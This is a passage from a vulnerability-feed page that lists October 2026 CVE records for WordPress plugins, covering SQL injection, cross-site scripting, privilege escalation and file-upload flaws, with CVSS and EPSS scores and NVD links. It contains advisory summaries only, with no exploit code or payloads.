CVSS 7.7 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102499).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102499&date=2026-10-25).
Sources:
NVD CVE-2026-102499: https://nvd.nist.gov/vuln/detail/CVE-2026-102499
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102499&date=2026-10-25
The Modern Events Calendar Lite WordPress plugin before 7.37.0, Modern Event Calendar Pro WordPress plugin before 7.37.0 do not sanitise and escape a parameter before using it in a SQL statement, which allows authenticated users with Subscriber-level access and above to append additional SQL queries into already existing queries and extract sensitive data from the database.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Falang multilanguage for WordPress plugin before 1.4.6 does not perform a capability check when saving term translations, and exposes a valid nonce to any logged-in user...
https://kevwire.com/record/CVE-2026-105262
The Falang multilanguage for WordPress plugin before 1.4.6 does not perform a capability check when saving term translations, and exposes a valid nonce to any logged-in user... (Oct 21, 2026).
The Falang multilanguage for WordPress plugin before 1.4.6 does not perform a capability check when saving term translations, and exposes a valid nonce to any logged-in user through an unprotected handler, allowing users with Subscriber-level access and above to store content that is later output without proper escaping, leading to Stored Cross-Site Scripting that executes in the context of higher-privileged users such as administrators.
CVSS 8.0 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105262).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105262&date=2026-10-25).
Sources:
NVD CVE-2026-105262: https://nvd.nist.gov/vuln/detail/CVE-2026-105262
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105262&date=2026-10-25
The Falang multilanguage for WordPress plugin before 1.4.6 does not perform a capability check when saving term translations, and exposes a valid nonce to any logged-in user through an unprotected handler, allowing users with Subscriber-level access and above to store content that is later output without proper escaping, leading to Stored Cross-Site Scripting that executes in the context of higher-privileged users such as administrators.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Uncanny Toolkit for LearnDash WordPress plugin before 3.8.2 does not validate the origin of a password-reset request, allowing an unauthenticated attacker to set the password...
https://kevwire.com/record/CVE-2026-107127
The Uncanny Toolkit for LearnDash WordPress plugin before 3.8.2 does not validate the origin of a password-reset request, allowing an unauthenticated attacker to set the password... (Oct 21, 2026).
The Uncanny Toolkit for LearnDash WordPress plugin before 3.8.2 does not validate the origin of a password-reset request, allowing an unauthenticated attacker to set the password of a user who is partway through a password reset to an attacker-chosen value through a forged request, resulting in full account takeover.
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107127).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107127&date=2026-10-25).
Sources:
NVD CVE-2026-107127: https://nvd.nist.gov/vuln/detail/CVE-2026-107127
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107127&date=2026-10-25
The Uncanny Toolkit for LearnDash WordPress plugin before 3.8.2 does not validate the origin of a password-reset request, allowing an unauthenticated attacker to set the password of a user who is partway through a password reset to an attacker-chosen value through a forged request, resulting in full account takeover.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Backup and Staging by WP Time Capsule WordPress plugin before 1.22.28 does not perform capability or nonce checks on the handler that deploys a staging site to the live site,...
https://kevwire.com/record/CVE-2026-107237
The Backup and Staging by WP Time Capsule WordPress plugin before 1.22.28 does not perform capability or nonce checks on the handler that deploys a staging site to the live site,... (Oct 21, 2026).
The Backup and Staging by WP Time Capsule WordPress plugin before 1.22.28 does not perform capability or nonce checks on the handler that deploys a staging site to the live site, allowing any authenticated user with a Subscriber account on a WP Time Capsule staging site to overwrite the separate live site's database and configuration and take it offline.
CVSS 8.2 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107237).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107237&date=2026-10-25).
Sources:
NVD CVE-2026-107237: https://nvd.nist.gov/vuln/detail/CVE-2026-107237
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107237&date=2026-10-25
The Backup and Staging by WP Time Capsule WordPress plugin before 1.22.28 does not perform capability or nonce checks on the handler that deploys a staging site to the live site, allowing any authenticated user with a Subscriber account on a WP Time Capsule staging site to overwrite the separate live site's database and configuration and take it offline.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Simple Banner  WordPress plugin before 3.3.3 does not correctly limit the capabilities it grants to the user roles an administrator allows to manage its banners, granting such...
https://kevwire.com/record/CVE-2026-107506
The Simple Banner  WordPress plugin before 3.3.3 does not correctly limit the capabilities it grants to the user roles an administrator allows to manage its banners, granting such... (Oct 21, 2026).
The Simple Banner  WordPress plugin before 3.3.3 does not correctly limit the capabilities it grants to the user roles an administrator allows to manage its banners, granting such roles the full administrator capability, which allows users in a low-privileged role to escalate their privileges and fully compromise the site.
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107506).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107506&date=2026-10-25).
Sources:
NVD CVE-2026-107506: https://nvd.nist.gov/vuln/detail/CVE-2026-107506
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107506&date=2026-10-25
The Simple Banner  WordPress plugin before 3.3.3 does not correctly limit the capabilities it grants to the user roles an administrator allows to manage its banners, granting such roles the full administrator capability, which allows users in a low-privileged role to escalate their privileges and fully compromise the site.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The WP Booking System  WordPress plugin before 2.1.0.3 does not validate and escape one of its parameters before reflecting it back in an admin page, leading to Reflected...
https://kevwire.com/record/CVE-2026-109147
The WP Booking System  WordPress plugin before 2.1.0.3 does not validate and escape one of its parameters before reflecting it back in an admin page, leading to Reflected... (Oct 21, 2026).
The WP Booking System  WordPress plugin before 2.1.0.3 does not validate and escape one of its parameters before reflecting it back in an admin page, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as administrators.
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109147).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109147&date=2026-10-25).
Sources:
NVD CVE-2026-109147: https://nvd.nist.gov/vuln/detail/CVE-2026-109147
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109147&date=2026-10-25
The WP Booking System  WordPress plugin before 2.1.0.3 does not validate and escape one of its parameters before reflecting it back in an admin page, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as administrators.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The WP User Manager  WordPress plugin before 2.9.26 does not keep its paid-registration capability restrictions in force once the payment gateway is disconnected, while a...
https://kevwire.com/record/CVE-2026-110523
The WP User Manager  WordPress plugin before 2.9.26 does not keep its paid-registration capability restrictions in force once the payment gateway is disconnected, while a... (Oct 21, 2026).
The WP User Manager  WordPress plugin before 2.9.26 does not keep its paid-registration capability restrictions in force once the payment gateway is disconnected, while a published paid registration form continues to assign its configured role, allowing unauthenticated users to register and immediately obtain a privileged administrator-equivalent role without completing the payment meant to gate it.
CVSS 8.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110523).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110523&date=2026-10-25).
Sources:
NVD CVE-2026-110523: https://nvd.nist.gov/vuln/detail/CVE-2026-110523
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110523&date=2026-10-25
The WP User Manager  WordPress plugin before 2.9.26 does not keep its paid-registration capability restrictions in force once the payment gateway is disconnected, while a published paid registration form continues to assign its configured role, allowing unauthenticated users to register and immediately obtain a privileged administrator-equivalent role without completing the payment meant to gate it.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Redirection for Contact Form 7 WordPress plugin before 3.2.12 does not sanitise or escape submitted form data stored as lead entries before outputting it in the lead debug...
https://kevwire.com/record/CVE-2026-111574
The Redirection for Contact Form 7 WordPress plugin before 3.2.12 does not sanitise or escape submitted form data stored as lead entries before outputting it in the lead debug... (Oct 21, 2026).
The Redirection for Contact Form 7 WordPress plugin before 3.2.12 does not sanitise or escape submitted form data stored as lead entries before outputting it in the lead debug metabox, allowing unauthenticated attackers to store a malicious script that executes when a logged-in user views the entry with the Redirection for Contact Form 7 WordPress plugin before 3.2.12's debug mode enabled.
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111574).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111574&date=2026-10-25).
Sources:
NVD CVE-2026-111574: https://nvd.nist.gov/vuln/detail/CVE-2026-111574
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111574&date=2026-10-25
The Redirection for Contact Form 7 WordPress plugin before 3.2.12 does not sanitise or escape submitted form data stored as lead entries before outputting it in the lead debug metabox, allowing unauthenticated attackers to store a malicious script that executes when a logged-in user views the entry with the Redirection for Contact Form 7 WordPress plugin before 3.2.12's debug mode enabled.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The User Profile Builder  WordPress plugin before 4.0.1 does not escape the current page URL before outputting it in a JavaScript context on one of its admin pages, leading to...
https://kevwire.com/record/CVE-2026-111948
The User Profile Builder  WordPress plugin before 4.0.1 does not escape the current page URL before outputting it in a JavaScript context on one of its admin pages, leading to... (Oct 21, 2026).
The User Profile Builder  WordPress plugin before 4.0.1 does not escape the current page URL before outputting it in a JavaScript context on one of its admin pages, leading to Reflected Cross-Site Scripting against high-privilege users.
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111948).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111948&date=2026-10-25).
Sources:
NVD CVE-2026-111948: https://nvd.nist.gov/vuln/detail/CVE-2026-111948
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111948&date=2026-10-25
The User Profile Builder  WordPress plugin before 4.0.1 does not escape the current page URL before outputting it in a JavaScript context on one of its admin pages, leading to Reflected Cross-Site Scripting against high-privilege users.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The miniOrange 2FA  WordPress plugin before 6.3.1 does not prevent a pending passkey login from registering an additional passkey on an account that already has one configured,...
https://kevwire.com/record/CVE-2026-111949
The miniOrange 2FA  WordPress plugin before 6.3.1 does not prevent a pending passkey login from registering an additional passkey on an account that already has one configured,... (Oct 21, 2026).
The miniOrange 2FA  WordPress plugin before 6.3.1 does not prevent a pending passkey login from registering an additional passkey on an account that already has one configured, allowing an attacker who knows a user's password to add their own authenticator and bypass the second factor.
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111949).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111949&date=2026-10-25).
Sources:
NVD CVE-2026-111949: https://nvd.nist.gov/vuln/detail/CVE-2026-111949
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111949&date=2026-10-25
The miniOrange 2FA  WordPress plugin before 6.3.1 does not prevent a pending passkey login from registering an additional passkey on an account that already has one configured, allowing an attacker who knows a user's password to add their own authenticator and bypass the second factor.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Advanced File Manager  WordPress plugin before 6.0.0 does not correctly determine whether a stored file is an SVG before sanitising it, allowing users granted file-manager...
https://kevwire.com/record/CVE-2026-79627
The Advanced File Manager  WordPress plugin before 6.0.0 does not correctly determine whether a stored file is an SVG before sanitising it, allowing users granted file-manager... (Oct 21, 2026).
The Advanced File Manager  WordPress plugin before 6.0.0 does not correctly determine whether a stored file is an SVG before sanitising it, allowing users granted file-manager access by an administrator to store a file containing script that is not stripped and that runs in the browser of anyone who opens it, including an administrator.
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79627).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79627&date=2026-10-25).
Sources:
NVD CVE-2026-79627: https://nvd.nist.gov/vuln/detail/CVE-2026-79627
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79627&date=2026-10-25
The Advanced File Manager  WordPress plugin before 6.0.0 does not correctly determine whether a stored file is an SVG before sanitising it, allowing users granted file-manager access by an administrator to store a file containing script that is not stripped and that runs in the browser of anyone who opens it, including an administrator.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Formidable Forms  WordPress plugin before 7.0 does not verify the identity of the caller before recording the timestamp it uses to rate limit payment gateway verification...
https://kevwire.com/record/CVE-2026-85642
The Formidable Forms  WordPress plugin before 7.0 does not verify the identity of the caller before recording the timestamp it uses to rate limit payment gateway verification... (Oct 21, 2026).
The Formidable Forms  WordPress plugin before 7.0 does not verify the identity of the caller before recording the timestamp it uses to rate limit payment gateway verification requests, allowing unauthenticated attackers to consume the daily allowance and cause legitimate verification attempts to be refused for the next 24 hours.
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85642).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85642&date=2026-10-25).
Sources:
NVD CVE-2026-85642: https://nvd.nist.gov/vuln/detail/CVE-2026-85642
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85642&date=2026-10-25
The Formidable Forms  WordPress plugin before 7.0 does not verify the identity of the caller before recording the timestamp it uses to rate limit payment gateway verification requests, allowing unauthenticated attackers to consume the daily allowance and cause legitimate verification attempts to be refused for the next 24 hours.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Jane Menu WordPress plugin before 1.5.1 does not have any capability or nonce checks on one of its form handlers, which is reachable by unauthenticated users, allowing them to...
https://kevwire.com/record/CVE-2026-85683
The Jane Menu WordPress plugin before 1.5.1 does not have any capability or nonce checks on one of its form handlers, which is reachable by unauthenticated users, allowing them to... (Oct 21, 2026).
The Jane Menu WordPress plugin before 1.5.1 does not have any capability or nonce checks on one of its form handlers, which is reachable by unauthenticated users, allowing them to bind any published page to a remote document of their choosing. The plugin then fetches that document and outputs its head and body into the page without escaping, so an unauthenticated attacker can run arbitrary JavaScript in the browser of any visitor to that page, including an administrator.
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85683).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85683&date=2026-10-25).
Sources:
NVD CVE-2026-85683: https://nvd.nist.gov/vuln/detail/CVE-2026-85683
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85683&date=2026-10-25
The Jane Menu WordPress plugin before 1.5.1 does not have any capability or nonce checks on one of its form handlers, which is reachable by unauthenticated users, allowing them to bind any published page to a remote document of their choosing. The plugin then fetches that document and outputs its head and body into the page without escaping, so an unauthenticated attacker can run arbitrary JavaScript in the browser of any visitor to that page, including an administrator.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Translate WordPress with Weglot 2.0  WordPress plugin before 6.4.3 does not escape the URLs it re-inserts into a page when rewriting links for a translated language, and...
https://kevwire.com/record/CVE-2026-88784
The Translate WordPress with Weglot 2.0  WordPress plugin before 6.4.3 does not escape the URLs it re-inserts into a page when rewriting links for a translated language, and... (Oct 21, 2026).
The Translate WordPress with Weglot 2.0  WordPress plugin before 6.4.3 does not escape the URLs it re-inserts into a page when rewriting links for a translated language, and reverses the encoding that was applied to them beforehand, allowing unauthenticated users to store a payload which executes in the browser of anyone viewing the page in a translated language.
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88784).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88784&date=2026-10-25).
Sources:
NVD CVE-2026-88784: https://nvd.nist.gov/vuln/detail/CVE-2026-88784
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88784&date=2026-10-25
The Translate WordPress with Weglot 2.0  WordPress plugin before 6.4.3 does not escape the URLs it re-inserts into a page when rewriting links for a translated language, and reverses the encoding that was applied to them beforehand, allowing unauthenticated users to store a payload which executes in the browser of anyone viewing the page in a translated language.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Click n Chat (Chat Widget Integration) WordPress plugin before 1.1.3 does not properly validate a parameter before using it as a column identifier in a SQL query, allowing...
https://kevwire.com/record/CVE-2026-92997
The Click n Chat (Chat Widget Integration) WordPress plugin before 1.1.3 does not properly validate a parameter before using it as a column identifier in a SQL query, allowing... (Oct 21, 2026).
The Click n Chat (Chat Widget Integration) WordPress plugin before 1.1.3 does not properly validate a parameter before using it as a column identifier in a SQL query, allowing unauthenticated attackers to perform SQL injection attacks.
CVSS 8.6 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92997).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92997&date=2026-10-25).
Sources:
NVD CVE-2026-92997: https://nvd.nist.gov/vuln/detail/CVE-2026-92997
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92997&date=2026-10-25
The Click n Chat (Chat Widget Integration) WordPress plugin before 1.1.3 does not properly validate a parameter before using it as a column identifier in a SQL query, allowing unauthenticated attackers to perform SQL injection attacks.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Click n Chat (Chat Widget Integration) WordPress plugin before 1.1.3 does not sanitise sort parameters before using them in a SQL ORDER BY clause, allowing unauthenticated...
https://kevwire.com/record/CVE-2026-92998
The Click n Chat (Chat Widget Integration) WordPress plugin before 1.1.3 does not sanitise sort parameters before using them in a SQL ORDER BY clause, allowing unauthenticated... (Oct 21, 2026).
The Click n Chat (Chat Widget Integration) WordPress plugin before 1.1.3 does not sanitise sort parameters before using them in a SQL ORDER BY clause, allowing unauthenticated attackers to perform SQL injection attacks.
CVSS 8.6 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92998).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92998&date=2026-10-25).
Sources:
NVD CVE-2026-92998: https://nvd.nist.gov/vuln/detail/CVE-2026-92998
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92998&date=2026-10-25
The Click n Chat (Chat Widget Integration) WordPress plugin before 1.1.3 does not sanitise sort parameters before using them in a SQL ORDER BY clause, allowing unauthenticated attackers to perform SQL injection attacks.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Unrestricted Upload of File with Dangerous Type vulnerability in WP Mailster WP Mailster wp-mailster allows Upload a Web Shell to a Web Server.This issue affects WP Mailster: from...
https://kevwire.com/record/CVE-2026-111832
Unrestricted Upload of File with Dangerous Type vulnerability in WP Mailster WP Mailster wp-mailster allows Upload a Web Shell to a Web Server.This issue affects WP Mailster: from... (Oct 21, 2026).
Unrestricted Upload of File with Dangerous Type vulnerability in WP Mailster WP Mailster wp-mailster allows Upload a Web Shell to a Web Server.This issue affects WP Mailster: from n/a through 1.9.1.0.
CVSS 10.0 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111832).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111832&date=2026-10-25).
Sources:
NVD CVE-2026-111832: https://nvd.nist.gov/vuln/detail/CVE-2026-111832
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111832&date=2026-10-25
Unrestricted Upload of File with Dangerous Type vulnerability in WP Mailster WP Mailster wp-mailster allows Upload a Web Shell to a Web Server.This issue affects WP Mailster: from n/a through 1.9.1.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Bold Grid weForms weforms allows Path Traversal.This issue affects weForms: from...
https://kevwire.com/record/CVE-2026-111833
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Bold Grid weForms weforms allows Path Traversal.This issue affects weForms: from... (Oct 21, 2026).
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Bold Grid weForms weforms allows Path Traversal.This issue affects weForms: from n/a through 1.6.28.
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111833).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111833&date=2026-10-25).
Sources:
NVD CVE-2026-111833: https://nvd.nist.gov/vuln/detail/CVE-2026-111833
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111833&date=2026-10-25
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Bold Grid weForms weforms allows Path Traversal.This issue affects weForms: from n/a through 1.6.28.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Unrestricted Upload of File with Dangerous Type vulnerability in Kitae Park Mang Board WP mangboard allows Upload a Web Shell to a Web Server.This issue affects Mang Board WP:...
https://kevwire.com/record/CVE-2026-111834
Unrestricted Upload of File with Dangerous Type vulnerability in Kitae Park Mang Board WP mangboard allows Upload a Web Shell to a Web Server.This issue affects Mang Board WP:... (Oct 21, 2026).
Unrestricted Upload of File with Dangerous Type vulnerability in Kitae Park Mang Board WP mangboard allows Upload a Web Shell to a Web Server.This issue affects Mang Board WP: from n/a through 2.4.4.
CVSS 9.9 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111834).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111834&date=2026-10-25).
Sources:
NVD CVE-2026-111834: https://nvd.nist.gov/vuln/detail/CVE-2026-111834
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111834&date=2026-10-25
Unrestricted Upload of File with Dangerous Type vulnerability in Kitae Park Mang Board WP mangboard allows Upload a Web Shell to a Web Server.This issue affects Mang Board WP: from n/a through 2.4.4.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeHunk ThemeHunk Customizer themehunk-customizer allows Reflected XSS.This...
https://kevwire.com/record/CVE-2026-111838
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeHunk ThemeHunk Customizer themehunk-customizer allows Reflected XSS.This... (Oct 21, 2026).
